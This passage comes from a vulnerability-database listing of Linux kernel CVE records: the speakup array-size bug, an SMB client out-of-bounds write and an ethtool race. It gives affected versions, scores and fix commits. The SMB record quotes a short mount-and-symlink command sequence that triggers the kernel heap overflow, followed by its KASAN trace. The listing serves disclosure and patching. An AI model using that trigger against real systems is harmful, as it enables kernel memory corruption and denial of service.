              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.19.313",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "5.4.275",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "5.10.216",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.15.157",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "6.1.88",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "6.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "6.8.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nspeakup: Fix sizeof() vs ARRAY_SIZE() bug\n\nThe \"buf\" pointer is an array of u16 values.  This code should be\nusing ARRAY_SIZE() (which is 256) instead of sizeof() (which is 512),\notherwise it can the still got out of bounds."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:36.468Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/42f0a3f67158ed6b2908d2b9ffbf7e96d23fd358"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd7f3978c2ec741aedd1d860b2adb227314cf996"
        },
        {
          "url": "https://git.kernel.org/stable/c/07ef95cc7a579731198c93beed281e3a79a0e586"
        },
        {
          "url": "https://git.kernel.org/stable/c/504178fb7d9f6cdb0496d5491efb05f45597e535"
        },
        {
          "url": "https://git.kernel.org/stable/c/3726f75a1ccc16cd335c0ccfad1d92ee08ecba5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6e1650cf5df1bd6638eeee231a683ef30c7d4eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb1ea64328d4cc7d7a912c563f8523d5259716ef"
        },
        {
          "url": "https://git.kernel.org/stable/c/d52c04474feac8e305814a5228e622afe481b2ef"
        },
        {
          "url": "https://git.kernel.org/stable/c/008ab3c53bc4f0b2f20013c8f6c204a3203d0b8b"
        }
      ],
      "title": "speakup: Fix sizeof() vs ARRAY_SIZE() bug",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38587",
    "datePublished": "2024-06-19T13:37:42.537Z",
    "dateReserved": "2024-06-18T19:36:34.929Z",
    "dateUpdated": "2026-05-12T11:54:45.936Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50151 (GCVE-0-2024-50151)

Vulnerability from cvelistv5 – Published: 2024-11-07 09:31 – Updated: 2026-05-12 12:00

Title

smb: client: fix OOBs when building SMB2_IOCTL request

Summary

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix OOBs when building SMB2_IOCTL request When using encryption, either enforced by the server or when using 'seal' mount option, the client will squash all compound request buffers down for encryption into a single iov in smb2_set_next_command(). SMB2_ioctl_init() allocates a small buffer (448 bytes) to hold the SMB2_IOCTL request in the first iov, and if the user passes an input buffer that is greater than 328 bytes, smb2_set_next_command() will end up writing off the end of @rqst->iov[0].iov_base as shown below: mount.cifs //srv/share /mnt -o ...,seal ln -s $(perl -e "print('a')for 1..1024") /mnt/link BUG: KASAN: slab-out-of-bounds in smb2_set_next_command.cold+0x1d6/0x24c [cifs] Write of size 4116 at addr ffff8881148fcab8 by task ln/859 CPU: 1 UID: 0 PID: 859 Comm: ln Not tainted 6.12.0-rc3 #1 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014 Call Trace: <TASK> dump_stack_lvl+0x5d/0x80 ? smb2_set_next_command.cold+0x1d6/0x24c [cifs] print_report+0x156/0x4d9 ? smb2_set_next_command.cold+0x1d6/0x24c [cifs] ? __virt_addr_valid+0x145/0x310 ? __phys_addr+0x46/0x90 ? smb2_set_next_command.cold+0x1d6/0x24c [cifs] kasan_report+0xda/0x110 ? smb2_set_next_command.cold+0x1d6/0x24c [cifs] kasan_check_range+0x10f/0x1f0 __asan_memcpy+0x3c/0x60 smb2_set_next_command.cold+0x1d6/0x24c [cifs] smb2_compound_op+0x238c/0x3840 [cifs] ? kasan_save_track+0x14/0x30 ? kasan_save_free_info+0x3b/0x70 ? vfs_symlink+0x1a1/0x2c0 ? do_symlinkat+0x108/0x1c0 ? __pfx_smb2_compound_op+0x10/0x10 [cifs] ? kmem_cache_free+0x118/0x3e0 ? cifs_get_writable_path+0xeb/0x1a0 [cifs] smb2_get_reparse_inode+0x423/0x540 [cifs] ? __pfx_smb2_get_reparse_inode+0x10/0x10 [cifs] ? rcu_is_watching+0x20/0x50 ? __kmalloc_noprof+0x37c/0x480 ? smb2_create_reparse_symlink+0x257/0x490 [cifs] ? smb2_create_reparse_symlink+0x38f/0x490 [cifs] smb2_create_reparse_symlink+0x38f/0x490 [cifs] ? __pfx_smb2_create_reparse_symlink+0x10/0x10 [cifs] ? find_held_lock+0x8a/0xa0 ? hlock_class+0x32/0xb0 ? __build_path_from_dentry_optional_prefix+0x19d/0x2e0 [cifs] cifs_symlink+0x24f/0x960 [cifs] ? __pfx_make_vfsuid+0x10/0x10 ? __pfx_cifs_symlink+0x10/0x10 [cifs] ? make_vfsgid+0x6b/0xc0 ? generic_permission+0x96/0x2d0 vfs_symlink+0x1a1/0x2c0 do_symlinkat+0x108/0x1c0 ? __pfx_do_symlinkat+0x10/0x10 ? strncpy_from_user+0xaa/0x160 __x64_sys_symlinkat+0xb9/0xf0 do_syscall_64+0xbb/0x1d0 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f08d75c13bb

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-787 - Out-of-bounds Write

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/6f0516ef1290da24b…
https://git.kernel.org/stable/c/ed31aba8ce93472d9…
https://git.kernel.org/stable/c/e07d05b7f5ad9a503…
https://git.kernel.org/stable/c/2ef632bfb888d1a14…
https://git.kernel.org/stable/c/b209c3a0bc3ac1722…
https://git.kernel.org/stable/c/fe92ddc1c32d4474e…
https://git.kernel.org/stable/c/1ab60323c5201bef2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e77fe73c7e38c36145825d84cfe385d400aba4fd , < 6f0516ef1290da24b85461ed08a0938af7415e49 (git) Affected: e77fe73c7e38c36145825d84cfe385d400aba4fd , < ed31aba8ce93472d9e16f5cff844ae7c94e9601d (git) Affected: e77fe73c7e38c36145825d84cfe385d400aba4fd , < e07d05b7f5ad9a503d9cab0afde2ab867bb65470 (git) Affected: e77fe73c7e38c36145825d84cfe385d400aba4fd , < 2ef632bfb888d1a14f81c1703817951e0bec5531 (git) Affected: e77fe73c7e38c36145825d84cfe385d400aba4fd , < b209c3a0bc3ac172265c7fa8309e5d00654f2510 (git) Affected: e77fe73c7e38c36145825d84cfe385d400aba4fd , < fe92ddc1c32d4474e605e3a31a4afcd0e7d765ec (git) Affected: e77fe73c7e38c36145825d84cfe385d400aba4fd , < 1ab60323c5201bef25f2a3dc0ccc404d9aca77f1 (git)
Linux	Linux	Affected: 5.0 Unaffected: 0 , < 5.0 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50151",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:20:44.094146Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-787",
                "description": "CWE-787 Out-of-bounds Write",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:27:13.291Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:26:10.332Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:23.831Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/smb/client/smb2pdu.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6f0516ef1290da24b85461ed08a0938af7415e49",
              "status": "affected",
              "version": "e77fe73c7e38c36145825d84cfe385d400aba4fd",
              "versionType": "git"
            },
            {
              "lessThan": "ed31aba8ce93472d9e16f5cff844ae7c94e9601d",
              "status": "affected",
              "version": "e77fe73c7e38c36145825d84cfe385d400aba4fd",
              "versionType": "git"
            },
            {
              "lessThan": "e07d05b7f5ad9a503d9cab0afde2ab867bb65470",
              "status": "affected",
              "version": "e77fe73c7e38c36145825d84cfe385d400aba4fd",
              "versionType": "git"
            },
            {
              "lessThan": "2ef632bfb888d1a14f81c1703817951e0bec5531",
              "status": "affected",
              "version": "e77fe73c7e38c36145825d84cfe385d400aba4fd",
              "versionType": "git"
            },
            {
              "lessThan": "b209c3a0bc3ac172265c7fa8309e5d00654f2510",
              "status": "affected",
              "version": "e77fe73c7e38c36145825d84cfe385d400aba4fd",
              "versionType": "git"
            },
            {
              "lessThan": "fe92ddc1c32d4474e605e3a31a4afcd0e7d765ec",
              "status": "affected",
              "version": "e77fe73c7e38c36145825d84cfe385d400aba4fd",
              "versionType": "git"
            },
            {
              "lessThan": "1ab60323c5201bef25f2a3dc0ccc404d9aca77f1",
              "status": "affected",
              "version": "e77fe73c7e38c36145825d84cfe385d400aba4fd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/smb/client/smb2pdu.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.0"
            },
            {
              "lessThan": "5.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix OOBs when building SMB2_IOCTL request\n\nWhen using encryption, either enforced by the server or when using\n\u0027seal\u0027 mount option, the client will squash all compound request buffers\ndown for encryption into a single iov in smb2_set_next_command().\n\nSMB2_ioctl_init() allocates a small buffer (448 bytes) to hold the\nSMB2_IOCTL request in the first iov, and if the user passes an input\nbuffer that is greater than 328 bytes, smb2_set_next_command() will\nend up writing off the end of @rqst-\u003eiov[0].iov_base as shown below:\n\n  mount.cifs //srv/share /mnt -o ...,seal\n  ln -s $(perl -e \"print(\u0027a\u0027)for 1..1024\") /mnt/link\n\n  BUG: KASAN: slab-out-of-bounds in\n  smb2_set_next_command.cold+0x1d6/0x24c [cifs]\n  Write of size 4116 at addr ffff8881148fcab8 by task ln/859\n\n  CPU: 1 UID: 0 PID: 859 Comm: ln Not tainted 6.12.0-rc3 #1\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS\n  1.16.3-2.fc40 04/01/2014\n  Call Trace:\n   \u003cTASK\u003e\n   dump_stack_lvl+0x5d/0x80\n   ? smb2_set_next_command.cold+0x1d6/0x24c [cifs]\n   print_report+0x156/0x4d9\n   ? smb2_set_next_command.cold+0x1d6/0x24c [cifs]\n   ? __virt_addr_valid+0x145/0x310\n   ? __phys_addr+0x46/0x90\n   ? smb2_set_next_command.cold+0x1d6/0x24c [cifs]\n   kasan_report+0xda/0x110\n   ? smb2_set_next_command.cold+0x1d6/0x24c [cifs]\n   kasan_check_range+0x10f/0x1f0\n   __asan_memcpy+0x3c/0x60\n   smb2_set_next_command.cold+0x1d6/0x24c [cifs]\n   smb2_compound_op+0x238c/0x3840 [cifs]\n   ? kasan_save_track+0x14/0x30\n   ? kasan_save_free_info+0x3b/0x70\n   ? vfs_symlink+0x1a1/0x2c0\n   ? do_symlinkat+0x108/0x1c0\n   ? __pfx_smb2_compound_op+0x10/0x10 [cifs]\n   ? kmem_cache_free+0x118/0x3e0\n   ? cifs_get_writable_path+0xeb/0x1a0 [cifs]\n   smb2_get_reparse_inode+0x423/0x540 [cifs]\n   ? __pfx_smb2_get_reparse_inode+0x10/0x10 [cifs]\n   ? rcu_is_watching+0x20/0x50\n   ? __kmalloc_noprof+0x37c/0x480\n   ? smb2_create_reparse_symlink+0x257/0x490 [cifs]\n   ? smb2_create_reparse_symlink+0x38f/0x490 [cifs]\n   smb2_create_reparse_symlink+0x38f/0x490 [cifs]\n   ? __pfx_smb2_create_reparse_symlink+0x10/0x10 [cifs]\n   ? find_held_lock+0x8a/0xa0\n   ? hlock_class+0x32/0xb0\n   ? __build_path_from_dentry_optional_prefix+0x19d/0x2e0 [cifs]\n   cifs_symlink+0x24f/0x960 [cifs]\n   ? __pfx_make_vfsuid+0x10/0x10\n   ? __pfx_cifs_symlink+0x10/0x10 [cifs]\n   ? make_vfsgid+0x6b/0xc0\n   ? generic_permission+0x96/0x2d0\n   vfs_symlink+0x1a1/0x2c0\n   do_symlinkat+0x108/0x1c0\n   ? __pfx_do_symlinkat+0x10/0x10\n   ? strncpy_from_user+0xaa/0x160\n   __x64_sys_symlinkat+0xb9/0xf0\n   do_syscall_64+0xbb/0x1d0\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n  RIP: 0033:0x7f08d75c13bb"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:46:25.825Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6f0516ef1290da24b85461ed08a0938af7415e49"
        },
        {
          "url": "https://git.kernel.org/stable/c/ed31aba8ce93472d9e16f5cff844ae7c94e9601d"
        },
        {
          "url": "https://git.kernel.org/stable/c/e07d05b7f5ad9a503d9cab0afde2ab867bb65470"
        },
        {
          "url": "https://git.kernel.org/stable/c/2ef632bfb888d1a14f81c1703817951e0bec5531"
        },
        {
          "url": "https://git.kernel.org/stable/c/b209c3a0bc3ac172265c7fa8309e5d00654f2510"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe92ddc1c32d4474e605e3a31a4afcd0e7d765ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ab60323c5201bef25f2a3dc0ccc404d9aca77f1"
        }
      ],
      "title": "smb: client: fix OOBs when building SMB2_IOCTL request",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50151",
    "datePublished": "2024-11-07T09:31:27.672Z",
    "dateReserved": "2024-10-21T19:36:19.959Z",
    "dateUpdated": "2026-05-12T12:00:23.831Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-46679 (GCVE-0-2024-46679)

Vulnerability from cvelistv5 – Published: 2024-09-13 05:29 – Updated: 2026-05-12 11:57

Title

ethtool: check device is present when getting link settings

Summary

In the Linux kernel, the following vulnerability has been resolved: ethtool: check device is present when getting link settings A sysfs reader can race with a device reset or removal, attempting to read device state when the device is not actually present. eg: [exception RIP: qed_get_current_link+17] #8 [ffffb9e4f2907c48] qede_get_link_ksettings at ffffffffc07a994a [qede] #9 [ffffb9e4f2907cd8] __rh_call_get_link_ksettings at ffffffff992b01a3 #10 [ffffb9e4f2907d38] __ethtool_get_link_ksettings at ffffffff992b04e4 #11 [ffffb9e4f2907d90] duplex_show at ffffffff99260300 #12 [ffffb9e4f2907e38] dev_attr_show at ffffffff9905a01c #13 [ffffb9e4f2907e50] sysfs_kf_seq_show at ffffffff98e0145b #14 [ffffb9e4f2907e68] seq_read at ffffffff98d902e3 #15 [ffffb9e4f2907ec8] vfs_read at ffffffff98d657d1 #16 [ffffb9e4f2907f00] ksys_read at ffffffff98d65c3f #17 [ffffb9e4f2907f38] do_syscall_64 at ffffffff98a052fb crash> struct net_device.state ffff9a9d21336000 state = 5, state 5 is __LINK_STATE_START (0b1) and __LINK_STATE_NOCARRIER (0b100). The device is not present, note lack of __LINK_STATE_PRESENT (0b10). This is the same sort of panic as observed in commit 4224cfd7fb65 ("net-sysfs: add check for netdevice being present to speed_show"). There are many other callers of __ethtool_get_link_ksettings() which don't have a device presence check. Move this check into ethtool to protect all callers.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/ec7b4f7f644018ac2…
https://git.kernel.org/stable/c/842a40c7273ba1c1c…
https://git.kernel.org/stable/c/7a8d98b6d6484d3ad…
https://git.kernel.org/stable/c/9bba5955eed160102…
https://git.kernel.org/stable/c/94ab317024ba373d3…
https://git.kernel.org/stable/c/1d6d9b5b1b95bfecc…
https://git.kernel.org/stable/c/a699781c79ecf6cfe…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d519e17e2d01a0ee9abe083019532061b4438065 , < ec7b4f7f644018ac293cb1b02528a40a32917e62 (git) Affected: d519e17e2d01a0ee9abe083019532061b4438065 , < 842a40c7273ba1c1cb30dda50405b328de1d860e (git) Affected: d519e17e2d01a0ee9abe083019532061b4438065 , < 7a8d98b6d6484d3ad358510366022da080c37cbc (git) Affected: d519e17e2d01a0ee9abe083019532061b4438065 , < 9bba5955eed160102114d4cc00c3d399be9bdae4 (git) Affected: d519e17e2d01a0ee9abe083019532061b4438065 , < 94ab317024ba373d37340893d1c0358638935fbb (git) Affected: d519e17e2d01a0ee9abe083019532061b4438065 , < 1d6d9b5b1b95bfeccb84386a51b7e6c510ec13b2 (git) Affected: d519e17e2d01a0ee9abe083019532061b4438065 , < a699781c79ecf6cfe67fb00a0331b4088c7c8466 (git)
Linux	Linux	Affected: 2.6.33 Unaffected: 0 , < 2.6.33 (semver) Unaffected: 5.4.283 , ≤ 5.4.* (semver) Unaffected: 5.10.225 , ≤ 5.10.* (semver) Unaffected: 5.15.166 , ≤ 5.15.* (semver) Unaffected: 6.1.108 , ≤ 6.1.* (semver) Unaffected: 6.6.49 , ≤ 6.6.* (semver) Unaffected: 6.10.8 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-46679",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T15:10:05.131175Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T15:10:19.475Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:16:20.039Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:35.678Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/net-sysfs.c",
            "net/ethtool/ioctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ec7b4f7f644018ac293cb1b02528a40a32917e62",
              "status": "affected",
              "version": "d519e17e2d01a0ee9abe083019532061b4438065",
              "versionType": "git"
            },
            {
              "lessThan": "842a40c7273ba1c1cb30dda50405b328de1d860e",
              "status": "affected",
              "version": "d519e17e2d01a0ee9abe083019532061b4438065",
              "versionType": "git"
            },
            {
              "lessThan": "7a8d98b6d6484d3ad358510366022da080c37cbc",
              "status": "affected",
              "version": "d519e17e2d01a0ee9abe083019532061b4438065",
              "versionType": "git"
            },
            {
              "lessThan": "9bba5955eed160102114d4cc00c3d399be9bdae4",
              "status": "affected",
              "version": "d519e17e2d01a0ee9abe083019532061b4438065",
              "versionType": "git"
            },
            {
              "lessThan": "94ab317024ba373d37340893d1c0358638935fbb",
              "status": "affected",
              "version": "d519e17e2d01a0ee9abe083019532061b4438065",
              "versionType": "git"
            },
            {
              "lessThan": "1d6d9b5b1b95bfeccb84386a51b7e6c510ec13b2",
              "status": "affected",
              "version": "d519e17e2d01a0ee9abe083019532061b4438065",
              "versionType": "git"
            },
            {
              "lessThan": "a699781c79ecf6cfe67fb00a0331b4088c7c8466",
              "status": "affected",
              "version": "d519e17e2d01a0ee9abe083019532061b4438065",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
